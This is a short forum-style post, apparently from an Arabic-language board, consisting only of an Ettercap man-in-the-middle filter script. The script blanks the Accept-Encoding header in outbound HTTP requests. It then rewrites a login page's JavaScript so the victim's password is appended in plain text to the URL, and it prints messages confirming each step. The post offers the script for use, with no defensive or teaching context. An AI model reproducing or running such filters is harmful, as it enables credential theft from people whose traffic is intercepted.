كود:if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "//alert(\x22url=\x22 + url);")) { replace("//alert(\x22url=\x22 + url);", "url += \x22&.e=\x22+passwd; "); # note: replacement string is same length as original string msg("Sent the passwd in plain-text in '.e'.\n"); } }
المفضلات